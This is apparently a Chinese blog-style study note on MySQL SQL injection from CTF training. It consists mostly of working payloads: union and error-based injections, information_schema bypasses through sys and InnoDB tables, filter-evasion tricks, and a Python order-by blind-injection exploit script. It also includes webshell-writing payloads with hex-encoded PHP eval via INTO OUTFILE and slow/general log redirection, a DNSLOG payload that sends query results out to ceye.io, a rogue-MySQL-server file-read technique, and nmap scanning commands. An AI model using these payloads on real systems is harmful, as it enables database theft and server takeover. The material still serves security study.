SQL注入&&工具笔记

很久之前上铁三培训课记的笔记。当时主要想补一补sql注入,但没想到讲的太浅了,甚至连原理都讲不明白,于是这篇比较全面的笔记就诞生了。很多类型的注入在本文都不会提及,很大篇幅是对一些trick的探索及分析。

铁三笔记

这部分只能说在听课之前我是想认真整理笔记的-.-

mysql中一些常用函数

MYSQL链接字符串函数

报错注入函数

==ExtractValue(XML_document,XPath_string):==

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string(Xpath格式的字符串)

作用:从目标XML中返回包含所查询值的字符串

例如:

or extractvalue(1,payload) ==> or extractvalue(1,concat(0x7e,(select @@version),0x7e))

==UpdateXML(XML_document,XPath_string,new_value):==

前两个参数和ExtractValue的参数相同

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

例如:

or updatexml(1,payload,1) ==> or updatexml(1,concat(0x7e,(select @@version),0x7e),1)

Trick

information_schema被禁用

information_schema是mysql的默认库,库里有tables,columns这些关键表,里面记载着表名、列名、字段等关键信息。因此常用于sql注入,但很多waf都过滤了information、schema这些字段。

读者可以查看自己的information_schema去了解该默认库。下图是我查看information_schema库中的columns表,可以看到里面记载着table_chema,table_name,column_name等信息(连接数据库工具为Navicat):

默认注入点所在的表有三个字段,第二个字段有回显。因此最常见的payload为:

--查数据库
squirt1e' union select 1,group_concat(schema_name),3 from information_schema.schemata#
--查表
squirt1e' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='xxx'#
--查字段
squirt1e' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='xxxx'#
--查数据
squirt1e' union select 1,group_concat(列名1,列名2...),3 from 表名#

我们关注的无法就是查库名、表名、列名。如果information_schema被过滤,最简单的思路就是去找别的默认库。下面将介绍==InnoDb==存储引擎以及==sys数据库==。

InnoDb

从MYSQL5.5.5开始,InnoDB成为其默认存储引擎。存储引擎处于文件系统之上,在数据保存到数据文件之前会传输到存储引擎(也就是存储了数据),之后按照各个存储引擎的存储格式进行存储。

而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。

比如:

可以看到innodb_table_states的两个重要字段为database_name以及table_name。那么我们的payload(默认有回显,三个字段)就可以换成:

0'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#原有的payload

0'union/**/select/**/1,group_concat(table_name),3/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()#改进的payload

0'union/**/select/**/1,group_concat(table_name),3/**/from/**/mysql.innodb_index_stats/**/where/**/database_name=database()#innodb_index_stats也是一样的
sys

mysql在5.7版本中新增了sys库,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据,该库存在很多视图。

==实验前提:我在一个新的mysql环境中只创建了test一个库,其中表名为flag,字段只有一个flag,并未设置自增。==

sys这个库有很多视图,其中schema_auto_increment_columns视图值得注意,该视图的作用简单来说就是用来对表自增ID的监控。

此时输入:

SELECT * FROM sys.schema_auto_increment_columns

结果是为空的,这是因为我的非系统表只有一个flag表,并且还没有设置自增id。但是该视图有table_shema,table_name这两个字段,因此在设置了自增id的情况下,我们的payload就可以改成:

0'union/**/select/**/1,group_concat(table_name),3/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_shcema=database()#改进的payload

尽管在真实场景中很多表是有自增id的,但我们还是想找到一个通解。

简单的翻了一下sys,找到了六个视图。这六个视图均能查询到不存在自增id的表名。

条条payload通罗马:

0'union/**/select/**/1,group_concat(table_name),3/**/from/**/sys.innodb_buffer_stats_by_table/**/where/**/object_shcema=database()#改进的payload

0'union/**/select/**/1,group_concat(table_name),3/**/from/**/sys.schema_table_statistics/**/where/**/table_shcema=database()#改进的payload

0'union/**/select/**/1,group_concat(table_name),3/**/from/**/sys.schema_table_statistics_with_buffer/**/where/**/table_shcema=database()#改进的payload

通过sys和InnoDb我们可以绕过information_schema实现爆库名及表名,接下来就要想办法爆列名。

无列名注入

举例说明:

可以看到from后面跟了select * from flag as a join flag as b,我通过join把a表和b表连接起来了,此时他们产生了相同的列名,如果通过(select * from flag as a join flag as b)c起了别名c,这样就与使用别名时,表中不能出现同的字段名的特性相冲突,因此会导致报错,报错内容为相同的列名(即第一个字段)。

接着,我在flag表创建了第二个字段。如果想获得下一个字段时需要使用using,using等价于join操作中的on,例如a和b根据flag字段关联:

这样我们就注出了第二列,因此无列名注入payload为:

0' union all select* from (select * from flag as a join flag b)c#
0' union all select* from (select * from flag as a join flag b using(flag))c#
0' union all select* from (select * from flag as a join flag b using(flag,squirt1e))c#

各种关键字、函数过滤绕过

and or
  1. 逻辑运算符:and=>&&、or=>||
  2. 异或运算^
空格
  1. 括号代替空格
  2. 内联注释/**/
  3. %09, %0a, %0b, %0c, %0d, %a0
  4. TAB换行符
单/双引号
  1. 16进制、8进制、2进制绕过
函数
  1. 字符串截断函数:left()、mid()、substr()、substring()
  2. 转换为acsii码函数:ord()、ascii()
  3. 睡眠函数:sleep(),benchmark()
  4. 链接函数:group_concat(),concat(),concat_ws()
括号

盲注经常会用到函数,但如果括号被过滤函数也就用不了。因此可以考虑order by盲注,后面会讲。

逗号
  1. 盲注经常会用到substr(),mid(),因此也会用到逗号。对于substr()和mid()这两个方法可以使用from for的方式来解决:
select substr(database(),1,1)<==>select substr(database() from 1 for 1)

select mid(database(),1,1)<==>select mid(database() from 1 for 1)
  1. limit也经常会用到,可以使用offset。
select * from flag limit 0,1<==>select * from flag limit 1 offset 0
if
select if((1=1),1,0)<==>select case when (1=1) then 1 else 0 end
比较符号(大于>、小于<)

greatest(a,b,c)函数返回输入参数(a,b,c)的最大值。

0'or ascii(susbstr(user(),1,1))>32          <==========>
0'or greatest(ascii(susbstr(user(),1,1)),32)=32
注释符

如果#,–之类的注释不让用,那么就用or的性质。

比如语句为select * from articles where id=’$id’ and xxx

令:id=1’union select 1,payload,3 or ‘1

语句就变成:

select * from articles where id=’1’ union select 1,payload,3 or ‘1’ and xxx

等于号
  1. like
  2. in
  3. regexp
  4. rlike
  5. between and (select mid(database(),1,1) between ‘a’ and ‘a’ ;)
union,select,where
  1. 大小写

  2. 双写

  3. 内联注释,如果在开头的的/*后头加了感叹号,那么此注释里的语句将被执行。例如:

    /*!SELECT*/ flag from flag
    
  4. 通过SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;赋值一个变量,这里支持16进制,然后预编译执行:prepare execsql from @a;execute execsql;这样不用括号。

    用concat配合char也可以:SET @sql=concat(char(115,101,108,101,99,116),’* from flag‘);PREPARE jwt from @sql;EXECUTE jwt;

  5. 使用句柄直接读表也可以,但存储flag的表必须存储在当前数据库下,不然没用:HANDLER Flag OPEN; HANDLER Flag READ FIRST; HANDLER Flag CLOSE;#

  6. mysql8.0的特性,后面会讲。

order by盲注

参考dempa0fit师傅的博客

/index.php/
 query($sql);
if($res->num_rows>0){
  $row = $res -> fetch_assoc();
  if($row['id']){
     echo $row['username'];
  }
}else{
   echo "The content in the password column is the flag!";
}
 
?>

安恒杯的一道题目,可以看到(、)、username、password、where、 case、when、like、regexp、into、limit、=、for、;被过滤,并且password被过滤,因此盲注行不通,这里考虑用order by盲注。

比如我输入username=admin’ union select 1,2,{} order by 3#&password=123。

那么语句变为:

select * from admin where  username ='admin' union select 1,2,a order by 3#' and password = '123'

password在第三列,因此order by 3。假设password的值为flag,那么显然a是要小于flag的。显然$row[‘id’]取得是第一行,因此username是1;如果输入1,2,f,此时也是1;如果输入1,2,g,那么就回显admin。此时我们就可以猜到了password第一位是f了。

又由于ordery by 不区分大小写,因此需要用到binary。

因此exp:

import requests

def sqli(payload):
    url = "http://vps_ip/orderbysqli_test/index.php"
    data = {'username':payload,'password':'123'}
    res = requests.post(url,data = data)
    return res.text

username = "admin'union select 1,2,0x{} order by 3 desc#"
flag = ''
for i in range (1,50):
     n = 0 
    for j in range (33,127):
     #print chr(j)
        n += 1
        payload = username.format((flag+chr(j)).encode('hex'))
       #print payload
        if 'admin' not in sqli(payload):
            flag = flag + chr(j-1)
            print(flag)
            continue
    if n == 94:
        print('find is over')
        print(flag)
        break

基于dempa0fit师傅给出的exp小改了一下,总感觉原版写的有点问题。当然我是用记事本写的,因此也不一定对。。

后续还可以结合order by进行盲注或者报错注入,但我感觉用处不大,因为既然能用盲注,那为什么不直接用盲注呢?希望看到的师傅能给我解答。

局限的报错注入

参考sari3l师傅的博客,速查表也是出自sari3l师傅。对一些函数进行了解析。

uuid

版本:mysql8.0

MySQL 8.0 推出了函数 UUID_TO_BIN,因为UUID生成的字符串太大,UUID_TO_BIN就是把UUID字符串转换成16进制,用来精简存储空间。

正常格式是为:SELECT UUID_TO_BIN(UUID());

如果不是UUID()生成的字符串,函数会报错。

payload:SELECT UUID_TO_BIN(database());

exp

版本:mysql 5.5

exp()为会返回e的x次方结果,如果返回结果超过double类型的范围,将会报错。

payload为:select exp(~(select * from(select database())a))

Bigint

版本:mysql 5.5

和exp原理一样,运算结果超过范围时,将会报错。

~0为取反从而得到范围内的最大值,因此select ~0+1就会越界导致报错。因此构造出1就可以了,这里用到非运算!,!后面跟上字符串返回1。

因此payload为:select ~0+!(select * from (select user())x);

​ select !(select * from(select user())x)-~0

速查表
类别 函数 版本需求 5.5.x 5.6.x 5.7.x 8.x 函数显错长度 Mysql报错内容长度 额外限制
主键重复 floor round ✔️ ✔️ ✔️ 64 data_type ≠ varchar
列名重复 name_const ✔️ ✔️ ✔️ ✔️ only version()
列名重复 join [5.5.49, ?) ✔️ ✔️ ✔️ ✔️ only columns
数据溢出 - Double 1e308 cot exp pow [5.5.5, 5.5.48] ✔️ MYSQL_ERRMSG_SIZE
数据溢出 - BIGINT Bigint [5.5.5, 5.5.48] ✔️ MYSQL_ERRMSG_SIZE
几何对象 geometrycollection linestring multipoint multipolygon multilinestring polygon [?, 5.5.48] ✔️ 244
空间函数 Geohash ST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash [5.7, ?) ✔️ ✔️ 128
GTID gtid_subset gtid_subtract [5.6.5, ?) ✔️ ✔️ ✔️ 200
JSON json_* [5.7.8, 5.7.11] ✔️ 200
UUID uuid_to_bin bin_to_uuid [8.0, ?) ✔️ 128
XPath extractvalue updatexml [5.1.5, ?) ✔️ ✔️ ✔️ ✔️

读服务器文件

mysql提供了用于读取文件的函数(以下两种方法均受到secure-file-priv的限制):

select load_file(file_path); #读文件,回显

load data infile file_path into table test FIELDS TERMINATED BY ‘\n’; #按照\n(换行)分割读取指定的file_path服务端文件的数据并插入到test表中。

伪造mysql服务端读客户端文件

load data infile file_path into table test FIELDS TERMINATED BY ‘\n’;是读取客户端文件并把数据插入到test表中,读取客户端文件的前提是local_infile这个变量是On,通过查阅官方文档可知在Mysql8之后local_infile这个变量默认为OFF,我自测Mysql5.6的环境local_infile默认是On。

我在本机D盘准备了Program.txt,成功把数据写入了flag表。

load data local infile "D://Program.txt" into table flag FIELDS TERMINATED BY '\n'
> Affected rows: 3
> 时间: 0.034s

实际上读客户端指定路径的文件这个操作是服务端来指明的。假设客户端向伪造的mysql服务器发送一个查询的请求,服务端通过伪造请求就可以任意读取客户端的文件:

  1. 客户端:我要flag表中的数据
  2. 服务端:我要你的/etc/passwd内容
  3. 客户端:给你/etc/passwd的内容

由于需要伪造mysql服务器,个人认为利用面较小。该节内容摘自LoRexxar@知道创宇404实验室 & Dawu@知道创宇404实验室

写入webshell

常见的有outfile dumpfile函数写shell,假设网站目录路径为/var/www/html。

union select 1,"",3 into outfile '/var/www/html/shell.php';
union select 2,"",3 into dumpfile '/var/www/html/shell.php';

--mysql识别16进制,因此也可以用0x绕过一些WAF。

union select 1,0x223c3f70687020406576616c28245f504f53545b315d293b3f3e22,3 into outfile '/var/www/html/shell.php';

限制:

由于受到secure-file-priv限制,写shell往往难以实现。因此可以通过日志文件的方法来绕过。

原理:mysql存在日志以及慢日志机制,它记录了用户的操作。由于general_log(日志开关)默认是关闭的,slow_query_log(慢日志开关)默认是开启的,因此在这里分析慢日志。

查询:show GLOBAL VARIABLES like ‘%slow_query_log%’

变量名
slow_query_log_file /www/server/data/mysql-slow.log
slow_query_log ON

可以看到slow_query_log是默认开启滴,并且慢日志存储路径为/www/server/data/mysql-slow.log。

顾名思义,只有执行时间慢的sql语句才被记录与慢日志中,可以通过query_time查看时间阈值,我这里默认是3秒,也就是说大于3秒执行时间的语句都会记录于慢日志中

我在测试环境中执行:select ‘‘ or sleep(10)。

运行时间为10s>>3s,因此查看mysql-slow.log能看到这次记录。

那么这也就意味着如果我们通过set global slow_query_log_file=’/var/www/html/log.php’设置慢日志为网站根目录下的php文件,就能写入webshell了。可以看到我只进行了select ‘‘ or sleep(10)操作,并未写文件。log日志也是同理。

因此payload:

#慢日志
show global variables like '%slow_query_log%'    #查看路径,以及慢日志开关
set global slow_query_log_file='/var/www/html/shell.php'   #设置路径
set global slow_query_log=ON        #设置开关
select @@long_query_time                 #非必须,最好还是先看看
select '' or sleep(10)       #写入webshell
##访问shell.php  getshell

#log日志
show global variables like '%general_log%'   #查看路径,以及日志开关
mysql> set global general_log_file = '/var/www/html/shell.php'    #设置路径
mysql> set global general_log = on         #设置开关
select ''      #写入webshell
##访问shell.php  getshell

DNSLOG外带

无论是靶场还是真实场景经常会遇到sql注入无回显,因此需要盲注。如果目标服务器是windows,并且能出网,这时可以尝试DNSLOG外带数据。

payload: load_file(concat('\\\\',(select user()),'.????.ceye.io'))

kali linux探索之漏洞扫描

Nmap

用于探测存活主机,扫描主机端口,探测主机操作系统

nmap [扫描类型] [参数] 目标IP

扫描类型

扫描参数

一般Nmap与fping联动(fping先扫描存活主机):

  1. fping -a -g 192.168.157.9 192.168.157.200 -q > /tmp/alive.txt
  2. Nmap -iL /tmp/alive.txt

GOOGLE HACK语法